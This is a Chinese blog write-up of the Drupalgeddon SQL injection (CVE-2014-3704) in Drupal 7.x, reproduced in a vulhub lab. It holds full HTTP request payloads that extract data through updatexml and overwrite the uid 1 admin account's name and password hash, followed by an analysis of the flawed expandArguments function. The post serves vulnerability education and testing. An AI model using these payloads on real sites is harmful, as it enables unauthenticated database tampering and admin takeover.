1. 程式人生 > 實用技巧 >Drupal<7.32“Drupalgeddon”SQL注入漏洞(CVE-2014-3704)

Drupal<7.32“Drupalgeddon”SQL注入漏洞(CVE-2014-3704)

一、漏洞簡介

Drupal 是一款用量龐大的CMS,其7.0~7.31版本中存在一處無需認證的SQL漏洞。通過該漏洞,攻擊者可以執行任意SQL語句,插入、修改管理員資訊,甚至執行任意程式碼。

受影響版本:

Drupal Drupal 7.6 Drupal Drupal 7.5 Drupal Drupal 7.4 Drupal Drupal 7.3 Drupal Drupal 7.2 Drupal Drupal 7.14 Drupal Drupal 7.13 Drupal D

二、漏洞復現

https://vulhub.org/#/environments/drupal/CVE-2014-3704/

搭建好了網站後,在首頁傳送如下資料包

POST /?q=node&destination=node HTTP/1.1
Host: your-ip:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 120

pass=lol&form_build_id=&form_id=user_login_block&op=Log+in&name[0 or updatexml(0,concat(0xa,user()),0)%23]=bob&name[0]=a

name[0 ;update+users+set+name='admin'+,+pass+=+'$S$CTo9G7Lx2mJrSyWmlh3NRTXL6AWJt35fzep9obyjkwezMHOgQf.s'+where+uid+%3d+'1';;#  ]=bob&name[0]=larry&pass=lol&form_build_id=&form_id=user_login_block&op=Log+in

三、漏洞原理分析

Drupalcore7.3之前7.x版本中的databaseabstractionAPI中‘expandArguments’函式存在安全漏洞,該漏洞源於程式沒有正確構造預處理語句。遠端攻擊者可藉助帶有特製鍵的陣列利用該漏洞實施SQL注入攻擊。

includes\database\database.inc

protected function expandArguments(&$query, &$args) {
    $modified = FALSE;
    foreach (array_filter($args, 'is_array') as $key => $data) {
      $new_keys = array();
      foreach ($data as $i => $value) {
      $new_keys[$key . '_' . $i] = $value;
      }
      $query = preg_replace('#' . $key . '\b#', implode(', ', array_keys($new_keys)), $query);
unset($args[$key]); $args += $new_keys; $modified = TRUE; } return $modified; }

這段程式碼是用來對傳入資料庫中的多個引數值進行預處理用的,因為Drupal對於SQL是會進行預編譯處理的(傳說中有效防止SQL注入的手段)。但是由於考慮不嚴,導致攻擊者可以通過構造陣列,操控陣列中的索引key,在預編譯之前破壞原有的SQL結構,造成SQL注入攻擊。

簡單解釋下這個過程:

這個函式會對存在多個值的引數進行處理,來應對SQL中IN這樣的語句。就像下面這樣的SQL,如果name的值是多個,就需要對傳入的引數進行進一步處理。

SELECT * FROM {users} where name IN (:name)

這個函式傳入的args引數大概是這樣的:

array(':name'=>array('user1','user2')));

函式首先會檢測陣列中的值是否也是陣列,如果不是則跳過。將符合條件的陣列key存入$key中,然後遍歷value中的陣列,將其中的值存入$new_key陣列中,陣列索引為$key+value陣列中各個值的數字索引。

$new_keys[$key . '_' . $i] = $value;

這裡引入了字串拼接,將SQL注入的風險帶入。原本它期待的資料是我們上面給出的那樣,但是試想,如果value陣列的索引key我們用字串,而不是數字呢?就像這樣:

array(':name'=>array('test -- ' => 'user1','test' => 'user2')));

那$new_keys的索引就會變成“name_test — ”了,帶著這個問題我們接著看最關鍵的地方:

$query = preg_replace('#' . $key . '\b#', implode(', ', array_keys($new_keys)), $query);

用剛剛生成的$new_key陣列索引key引入到了預編譯SQL語句中,這樣的話SQL語句就會變成這樣:

SELECT * FROM users WHERE name = :name_test -- , :name_test

在預編譯前就引入了SQL注入問題!

搞不懂呢?未完待續

參考:

http://blog.nsfocus.net/drupal-7-x%E7%B3%BB%E5%88%97%E6%A0%B8%E5%BF%83%E4%BB%A3%E7%A0%81sql%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/